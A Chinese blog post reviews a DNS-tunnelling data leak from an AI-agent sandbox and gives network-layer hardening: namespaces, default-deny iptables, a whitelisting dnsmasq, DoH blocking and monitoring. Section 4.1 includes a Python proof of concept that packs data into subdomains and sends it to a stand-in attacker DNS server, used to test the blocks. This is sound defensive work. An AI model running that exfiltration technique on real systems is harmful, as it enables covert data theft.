一次 DNS 打穿沙箱这事儿,放在半年前我肯定当成段子看:一个解析协议而已,能翻出多大浪?直到我自己在给 agent 搭隔离环境时,亲眼看着一个精心构造的 DNS 查询把沙箱里的数据一点一点搬出去,才意识到——只要网络层没封死,DNS 就是藏在白名单里的后门。这篇文章不聊理论,就把那次事故复盘、加固方案、落地命令、验证手段完整拆开,给你一套真能关住 agent 的网络层设计。
如果你正在做 agent 开发、跑自动化任务、或者给代码沙箱做安全加固,这篇内容应该能帮你省掉不少弯路。我默认你懂基本的 Linux 网络命令,但即使你只把 agent 当工具用,看完也能理解为什么不能随便放一个「裸奔」的沙箱到公网环境里。
1. 复盘:一次 DNS 击穿沙箱的完整链路
1.1 事故是怎么发生的——一个没人管的 UDP/53
那次事故的起因其实特别普通。团队给一批 agent 跑批处理任务,为了省事直接用了平台默认的沙箱配置,想着「反正沙箱里有文件系统隔离,也访问不了内网」。结果几天后日志里出现异常:某个 agent 进程反复向外部 DNS 服务器发起大量查询,字段长得离谱,完全不像正常域名。起初监控组以为是 DNS 缓存污染,拉黑几个域名就完事了,直到安全组介入,才发现数据已经被传出去好几个 GB。
问题不出在 agent 本身,而出在网络层策略。平台对 HTTP/HTTPS 出站做了严格域名白名单,却把 UDP/53 当成了「必要基础设施」直接放行。攻击者要做的事非常简单:把数据编码成域名,塞进 DNS 查询里,让沙箱内的 agent 不断向自己控制的权威 DNS 服务器发起解析请求。一次查询能带几十字节,几千个查询就是几十 MB,完全不需要建立任何像样的 socket 连接。
1.2 攻击链路拆解:查询不是查询,是数据在说话
DNS 隧道这件事,说白了就是「把数据藏在域名里」。正常访问某个网站时,客户端会向递归 DNS 服务器查询这个域名对应的 IP;攻击者则完全不关心解析结果,他只是把 DNS 请求本身当运输工具用。
拿最常见的编码方式举例:假设你从沙箱里偷出一张图片,可以把图片按字节拆分,每 8~16 个字节转成一段十六进制字符串,拼成一个子域名,比如a3f21c.badguy.example。agent 每次发起查询,你控制的服务器就在日志里记下这个子域名;等查询足够多,把子域名片段按顺序拼接,就是完整的原文件。更高级的玩法是直接用 TXT 记录回传数据:服务器把一段 payload 藏在 TXT 记录里返回,沙箱内的 agent 解析后就拿到了命令,一来一回就成了双向信道。
这个攻击的可怕之处在于,它没有突破任何「协议合法边界」。DNS 本来就是解析用的,沙箱不可能完全禁掉 DNS,否则 agent 连公网域名都解析不了。而攻击者要的恰恰就是这条「必要但没被盯紧」的缝隙。
1.3 为什么常规沙箱拦不住这类攻击
很多沙箱的防护逻辑是「只信应用层白名单」。容器里跑一个 Python 脚本,脚本发起 HTTP 请求,网关检查 Host 头或 SNI 是否在白名单内,通过就放行。这套逻辑默认了「出站流量都是 HTTP/HTTPS」,对 DNS、ICMP、NTP 这类「低危协议」要么直接放行,要么懒得管。
问题就在这里。攻击者根本不走 HTTP,他把所有数据都包装成 DNS 查询。你的网关看单个请求可能觉得只是「每个域名的解析频率高了点」,但如果把几千上万个查询汇总起来看,就是一台隐形传输机。更讽刺的是,沙箱为了保证 agent 能正常访问外网,往往还会配置泛化的 DNS 转发规则,比如「内网域名走内网 DNS,外网域名一律走 8.8.8.8」,结果给了攻击者一个稳定可控的外部解析通道。
2. 给 agent 上锁之前,先想清楚网络边界模型
2.1 「能关住」的标准到底是什么
经过那次事故,我对「沙箱关得住」有了一个更具体的定义:关得住,不是指 agent 跑不出容器,而是指 agent 在容器内无论做什么,都无法主动建立不受控的外联链路。
这句话可以拆成两层。第一层是「逃逸隔离」,agent 不能突破容器边界访问宿主机文件、加载内核模块、读取其他租户数据;第二层是「外联受控」,即使 agent 内部被恶意代码控制,它能访问的外部目标也必须在我预设的白名单里,而且通信协议、目标端口、流量特征都得可审计。很多团队只做了第一层,觉得「进程隔离 + 只读文件系统」就稳了,完全没想过第二层,结果 DNS 隧道这类攻击一打一个准。
真正的目标应该是一个「默认拒绝、显式放行」的出站环境。任何流量——不管是 TCP、UDP 还是 ICMP——如果没有明确写进规则,就必须被拦截,并在日志里留下一条清晰的事件记录。
2.2 哪些网络路径可能变成逃生通道
我给 agent 设计网络边界时,会把所有可能外联的路径都列出来,逐条排查。这里有一张我自己维护的「可疑通道清单」,算是沙箱加固的基础功:
| 协议/端口 | 正常用途 | 被滥用的方式 |
|---|---|---|
| UDP/53 | DNS 解析 | DNS 隧道、TXT 记录回传指令 |
| TCP/53 | DNS over TCP | 规避 UDP 检测的 DNS 隧道 |
| UDP/123 | NTP 时间同步 | 用 NTP 服务器做低频指令信道 |
| ICMP | 网络诊断 | Ping 隧道,数据藏在 ICMP payload 里 |
| TCP/80、443 | HTTP/HTTPS | 常规数据回传,但可有白名单控制 |
| TCP/22 | SSH | 通过 SSH 反向隧道把内网流量带出 |
| UDP/443 | QUIC/HTTP3 | 用 QUIC 作为隐蔽信道 |
这张清单最关键的意义在于:出站策略不能只盯「常用端口」,而是要逐条判断「这个协议在这个场景下真的有必要吗」。比如沙箱里根本不需要 NTP 同步时间,那就直接把 UDP/123 禁掉;不需要跑 SSH,那 TCP/22 出站也必须封死。
2.3 分类分级设计出站策略
排完通道,下一步就是设计出站策略的粒度。我强烈建议不要用「允许/拒绝」二值模型,而是分三层:
第一层是域名白名单,agent 只能解析、访问我明确列出的域名,比如api.openai.com、pypi.org、files.pythonhosted.org。这是业务必需的最小集合。第二层是协议白名单,白名单域名只能走 HTTP/HTTPS,其他协议一律拒绝。第三层是流量审计,所有出站流量都要记录日志,至少要能追溯「哪个 agent、在什么时间、访问了哪个域名、传了多少字节」。
这套模型的好处是防御和业务解耦:业务方只需要维护域名白名单,网络层保证「即使白名单域名被放了恶意内容,也翻不了天」,因为协议、端口、流量特征全被限制死了。
3. 落地:给 agent 搭建一个「真能关住」的网络层
3.1 基础隔离:network namespace 加独立路由表
我推荐的隔离方式不是直接改宿主机防火墙,而是给每个 agent(或每个 agent 组)建一个独立的 network namespace,配合 veth pair 和独立路由表,把沙箱网络和宿主机网络彻底分开。
拿创建单个 agent 的隔离网络来举例,核心步骤大概是这几步:
# 创建名为 agent0 的网络命名空间 ip netns add agent0 # 创建 veth pair,一端在命名空间里,一端在宿主机 ip link add veth0 type veth peer name veth0_host # 把 veth0 放进 agent0 命名空间 ip link set veth0 netns agent0 # 给两端配 IP,并启动 ip addr add 10.200.0.1/24 dev veth0_host ip link set veth0_host up ip netns exec agent0 ip addr add 10.200.0.2/24 dev veth0 ip netns exec agent0 ip link set veth0 up ip netns exec agent0 ip link set lo up # 设置命名空间默认路由走 veth0 ip netns exec agent0 ip route add default via 10.200.0.1这个命名空间在逻辑上就相当于一台独立主机。接下来,所有出站流量都会经过宿主机上的 veth0_host,我们在这块网卡上应用的规则,就构成了 agent 的完整网络边界。
3.2 出站白名单:只有白名单域名能出去
有了隔离网络,下一步就是做出站白名单。很多团队喜欢在应用层做代理网关,但为 agent 这种「跑批任务、临时起进程」的负载,我更推荐在国内直接刚性一点的方案:网络层白名单 + HTTP 代理双重限制。网络层负责兜底,代理负责精细化域名控制。
理论上的完整出站规则是这样的:DNS 查询只允许走内部 DNS 服务器,对公网 53 端口一律 RST;TCP 出站只开放 80、443,并且只允许连接到白名单域名解析出的 IP;其余所有出站协议默认 DROP,并打上日志标记。
实际用 iptables 落地时,我通常会先把默认策略设成 DROP,再逐条放行。这里给一组精简过的示例:
# 设置默认策略:丢弃所有出站流量 iptables -P OUTPUT DROP # 允许回环和已建立的连接 iptables -A OUTPUT -o lo -j ACCEPT iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT # 只允许访问本机内部 DNS 服务(监听在 127.0.0.53:53 这种) iptables -A OUTPUT -d 127.0.0.53 -p udp --dport 53 -j ACCEPT # 禁止直接访问任何外部 DNS 服务器 iptables -A OUTPUT -p udp --dport 53 -j DROP iptables -A OUTPUT -p tcp --dport 53 -j DROP # 仅允许访问白名单 IP 段的 80/443 iptables -A OUTPUT -d 203.0.113.0/24 -p tcp --dport 443 -j ACCEPT iptables -A OUTPUT -d 198.51.100.0/24 -p tcp --dport 80 -j ACCEPT # 其余全部拒绝并记录 iptables -A OUTPUT -j LOG --log-prefix "AGENT_OUT_BLOCKED: " iptables -A OUTPUT -j DROP看明白这个设计的思路了吗?它不是简单「开几个端口」,而是把「域名是否允许」先翻译成「IP 是否允许」,再在数据包层执行。这样即使 agent 内跑了一个恶意程序,它无法通过「随便解析一个域名的 IP」来绕过,因为流量到达之前 IP 就已经被白名单锁死了。
3.3 把 DNS 收进笼子:内部 DNS 中转与应答校验
「只允许访问白名单 IP"这个策略本身有个大坑:如果 agent 能控制的 DNS 解析结果会变——比如白名单里的域名用了 CDN,解析出的 IP 池会经常更新;或者攻击者利用了 DNS rebinding——那静态 IP 白名单反而会成为绕过入口。
所以我在命名空间里加了一层「DNS 收口」。具体做法是:agent 的 resolver 地址被强制指向宿主机上的内部 DNS 服务,比如 dnsmasq。内部 DNS 只做一件事:把白名单域名解析结果喂给 agent,所有非白名单域名直接返回 NXDOMAIN。这样 agent 拿到手的所有 IP 都是白名单内的,想直接拼接 IP 绕过解析规则也不可能——因为应用层拿到的是一个不存在的域名,HTTP 请求根本构造不起来。
dnsmasq 配置思路大概这样:
# /etc/dnsmasq-agents.conf # 监听在 agent 命名空间所用的网关上,例如 10.200.0.1 listen-address=10.200.0.1 bind-interfaces # 只解析 example 白名单 # 用一个 hosts 文件来模拟白名单解析 addn-hosts=/etc/agent-dns-whitelist.hosts no-resolv # 非白名单域名统一返回空结果 address=/#/配合上一小节的 iptables 规则,等于上了一道双保险:就算某个恶意程序绕过了应用层不走 HTTP,直接用 UDP socket 去连外部 DNS,也会被「不得向除内部 DNS 以外的 53 端口发包」这条规则挡住。DNS 想变成隧道,第一步就不成立。
3.4 防绕过:封死 DNS over HTTPS/TLS 与多路径逃逸
光封住 53 端口还不够,近几年的攻击者早就学会「平移端口」了。最简单的方式就是用 DNS over HTTPS,直接把 DNS 查询伪装成普通 HTTPS 请求,发到 443 端口上的公共 DoH 服务器。如果网络层规则只按端口放行,那 DoH 流量会直接混在白名单流量里溜出去。
我的应对方案有两层。第一层是在应用层代理那里做域名强制检查:所有出站 HTTP/HTTPS 连接必须走代理,代理校验目标 Host 头、SNI 字段必须在白名单内。这样即使有人偷偷发起了 DoH 请求,代理会发现 TLS SNI 指向的是dns.google这类域名,而它根本不在白名单里,直接断掉连接。
第二层是流量特征监控。有些程序不老实,不走代理,而是直接发原始 TCP 包到 443 端口。这种流量可以用 eBPF 或者 nftables 里的应用层识别能力去抓,但更实际的方案是看 conntrack 记录,关注「哪些连接没有经过代理、直接发起了 TLS 握手」。对 agent 沙箱来说,一个「不通过代理直接外连」的连接本身就可疑,可以直接拉黑告警。
3.5 配置持久化与管理编排:别让规则重启就丢
iptables 规则有个常见的坑:重启后全部失效,沙箱瞬间变成裸奔状态。所以我建议把整个网络配置封装成一套 systemd service,或者做成容器编排的 init 容器。
思路是:每次 agent 网络被创建时,自动执行一段配置脚本,把上一节这套 netns + dnsmasq + iptables 的规则全部恢复出来。下面是一个简化的 systemd unit 骨架:
[Unit] Description=Agent Sandbox Network Isolation After=network-online.target [Service] Type=oneshot RemainAfterExit=yes ExecStart=/usr/local/bin/setup-agent-net.sh start ExecStop=/usr/local/bin/setup-agent-net.sh stop [Install] WantedBy=multi-user.target实际运维中,我把setup-agent-net.sh里所有iptables命令全部换成nftables,原因很简单:nftables 的语法更清晰,支持原子替换规则集,出错时可以直接回滚上一套规则,不像 iptables 一条条追加那样难管理。当然,iptables 在存量环境里也能用,关键是同一套逻辑不要混用,不然排障时会疯掉。
4. 验证这套方案到底能不能关住
4.1 模拟攻击测试:用 DNS 隧道做穿透实验
「关不关得住」不能靠嘴巴说,要用模拟攻击去证明。我在搭完这套网络层后,专门写了一个模拟 DNS 隧道的 PoC,目的不是复现攻击,而是验证阻断效果。
模拟脚本的思路很简单,就是让 agent 进程不断向一个外部权威 DNS 发送编码查询。先写一段 Python 脚本,模拟「沙箱被入侵后的恶意行为」:
import socket import struct def encode_and_send(domain_base, payload_hex, server_ip): # 把 payload 拆成 8 字节块,拼成子域名 chunks = [payload_hex[i:i+16] for i in range(0, len(payload_hex), 16)] for idx, chunk in enumerate(chunks): qname = f"{idx:04d}.{chunk}.exfil.{domain_base}" # 构造最简 DNS 查询包 header = struct.pack(">HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0) # 简单转成 DNS 报文请求 query = qname.encode() + b"\x00" query += struct.pack(">HH", 1, 1) pkt = header + query # 发送到 53 端口 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(pkt, (server_ip, 53)) sock.close() # 假设从“内部”偷出来的数据是十六进制 encode_and_send("badguy.example", "abc123...", "203.0.113.66")在加固前的裸沙箱里跑这段脚本,外部服务器能稳定收到查询;加固后的沙箱里跑,脚本瞬间报错或者外部服务器收不到任何包。通过这种对比,我才能确认 UDP/53 的封锁是真的生效了,而不是「恰好某一跳没通」。
4.2 边界场景验证:一个场景一个场景过
除了 DNS 隧道,我还列了一个边界场景清单,逐个测试:
| 测试项 | 预期行为 | 实际结果 |
|---|---|---|
| 正常解析白名单域名 | 可以解析并访问 | 通过 |
| 解析非白名单域名 | NXDOMAIN 或拒绝 | 通过 |
| 直接向外部 DNS 发 UDP/53 包 | 无法收到响应 | 通过 |
| 向 8.8.8.8 的 TCP/53 发起连接 | 连接超时或 RST | 通过 |
| 用 DoH 请求 dns.google | 被代理网关拦截 | 通过 |
| 用 QUIC UDP 443 出站 | 被 DROP | 通过 |
| 直接构造 IP 访问白名单外 IP | 被 DROP | 通过 |
这套验证做完,我心里基本就有底了。真正让我放心的是「直接构造 IP」这一项:攻击者即使知道白名单里有某个 IP,想绕过域名检查直连,也会被 IP 白名单拦住。网络层的「域名到 IP」映射、代理层的「Host/SNI 检查」、以及底层的「默认 DROP」,三层正好堵住了三种完全不同的脑洞。
4.3 结果分析与两处意料之外的发现
测试过程里有两次意外收获,值得单独拿出来说。
第一次是发现 Kubernetes 集群里的 kube-dns 会把外部域名解析的请求转发到上游 DNS,如果沙箱网络没有独立 netns,那么 agent 的 DNS 查询会直接走出宿主机上的 kube-dns,完全绕过我预设的内部 DNS。这个问题的解法是必须给 agent 单独建 netns,不能复用宿主机网络栈。
第二次是发现有些软件会用 systemd-resolved 的 127.0.0.53 做特殊解析。在默认 iptables 规则里,如果不放行127.0.0.53这个地址,agent 的常规应用会直接报「域名解析暂时失败」。这也是很多团队加白名单失败后删库跑路的原因:把 DNS 管死了,业务也死了,结果只能回滚。所以内部 DNS 服务的地址不能只写10.200.0.1,还要考虑进程实际拿到的 resolver 是哪个。
5. 常见问题与排错实录
5.1 DNS 解析异常:不是规则错了,是顺序错了
我排障时遇到最多的问题,是「代理和 iptables 看起来都对,但 agent 就是解析不了域名」。遇到这个问题,第一件事不是改规则,而是查流量命中的规则顺序。iptables 的规则是自上而下匹配的,如果前面的-A OUTPUT -j DROP比白名单放行规则更早命中,那再宽松的白名单也没用。
排查命令很简单:
iptables -L OUTPUT -nv --line-numbers重点看两处:DROP 规则是不是排在 ACCEPT 规则前面;以及白名单 IP 段是否包含了内部 DNS 的地址。如果 agent 的 DNS 请求全被自己的 DROP 规则拦了,解析自然失败。我的习惯是坚持「默认拒绝放最后、白名单放前面」,并在规则表 top 加一行-m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT,避免已建立的连接被新规则误伤。
5.2 规则都对,为什么还能访问外网
第二个常见问题是「我明明设置了默认 DROP,agent 却还能访问外网」。这种时候不要怀疑 iptables 失效,先怀疑流量根本没走这套规则。最典型的场景是 agent 跑在 Docker 容器里,而 Docker 默认会把容器流量 NAT 到宿主机再发出去,如果你把 iptables 规则写在容器内部,而容器内没有iptables权限,规则根本没装进去。
解决思路是:iptables 规则要装在宿主机上,并且要关注FORWARD链,而不是OUTPUT链。容器流量经过宿主机转发时会走FORWARD链,所以要在FORWARD链再加一套白名单,配合OUTPUT链一起使用才算完整。我当时踩的坑就是只写了OUTPUT,docker 容器流量全从FORWARD溜出去了。
5.3 两个值得养成的监控习惯
最后一个部分,我想强调监控。规则写得再好,如果不盯日志,还是白搭。我在实际操作中养成了两个固定习惯。
第一个习惯是给所有被拦截的网络请求加结构化日志。每次被 DROP 的内联流量,我都要求进程把「源 IP、目标 IP、目标端口、协议、时间」全部打进一个独立日志文件,方便事后分析。第二习惯是定期扫一遍 DNS 查询日志里的「高熵子域名」。正常域名很少出现a3f21c9b...这种不可读的长子域名前缀,一旦出现,极有可能就是 DNS 隧道正在运行。这个监控可以用简单的 awk 脚本实现,也可以接进现成的日志平台,做一条告警规则,比等攻击完成后的报表有用得多。
我在实际维护这套系统时,体会最深的一点是:安全加固不是「上一次规则就结束」,而是「每天都要验证规则有没有被新场景绕过」。HTTP 白名单也许能挡住 95% 的乱来,可真正危险的是剩下那 5% ——藏在 DNS 里、NTP 里、ICMP 里的数据流。给 agent 搭网络层,宁可一开始多花半天把规则做严,也别等出了事故再熬夜追日志。希望这篇复盘能给你提供一套可以直接抄作业的参考,少走几步我之前走过的弯路。